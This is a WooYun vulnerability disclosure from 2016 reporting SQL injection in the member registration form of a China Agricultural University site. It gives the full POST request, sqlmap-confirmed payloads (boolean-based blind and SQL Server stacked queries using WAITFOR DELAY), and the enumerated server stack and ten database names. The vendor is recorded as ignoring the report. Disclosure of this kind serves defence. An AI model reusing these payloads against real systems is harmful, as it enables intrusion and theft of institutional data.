当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176237

漏洞标题:中国农业大学某站存在SQL注入漏洞

相关厂商:中国农业大学

漏洞作者: 路人甲

提交时间:2016-02-17 10:58

修复时间:2016-02-22 11:00

公开时间:2016-02-22 11:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:14

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

POST /Member/Register.aspx HTTP/1.1
Content-Length: 1981
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_OFEMPFSPBS
X-Requested-With: XMLHttpRequest
Referer: http://bjbio.cau.edu.cn
Cookie: ASP.NET_SessionId=crmddwzyzccinaewkpvfnx30
Host: bjbio.cau.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_WSOVJKNUKT
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_DeleteMark"
2
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_E"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_SysUp"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_A"
aciwfadp*
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_Code"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_N"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_Sex"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Class"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Department"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Grade"
==#########==
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Identity"
==#########==
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Major"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Org"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgfilebm"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgFilexsz"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgFilezm"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgRegister"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgUserInfo"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_User_IDcardNo"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_User_Tel"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT--

涉及10个数据库,具体数据不在深入:

2.jpg


漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: -------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_DeleteMark"
2
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_E"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_SysUp"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_A"
aciwfadp' AND 8444=8444 AND 'WHlI'='WHlI
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_Code"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_N"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_Sex"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Class"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Department"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Grade"
==#########==
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Identity"
==#########==
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Major"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Org"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgfilebm"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgFilexsz"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgFilezm"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgRegister"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgUserInfo"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_User_IDcardNo"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_User_Tel"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: -------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_DeleteMark"
2
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_E"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_SysUp"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_A"
aciwfadp';WAITFOR DELAY '0:0:5'--
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_Code"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_N"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="i_User_Sex"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Class"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Department"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Grade"
==#########==
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Identity"
==#########==
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Major"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_Org"
1
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgfilebm"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgFilexsz"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgFilezm"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgRegister"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_stu_imgUserInfo"
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_User_IDcardNo"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT
Content-Disposition: form-data; name="z_User_Tel"
aciwfadp
-------AcunetixBoundary_WSOVJKNUKT--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
available databases [10]:
[*] Centralwebsite
[*] DeclareSystem
[*] EvaluationSystemold
[*] master
[*] model
[*] msdb
[*] OA
[*] StudentExam
[*] tempdb
[*] tks_nongda

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-22 11:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无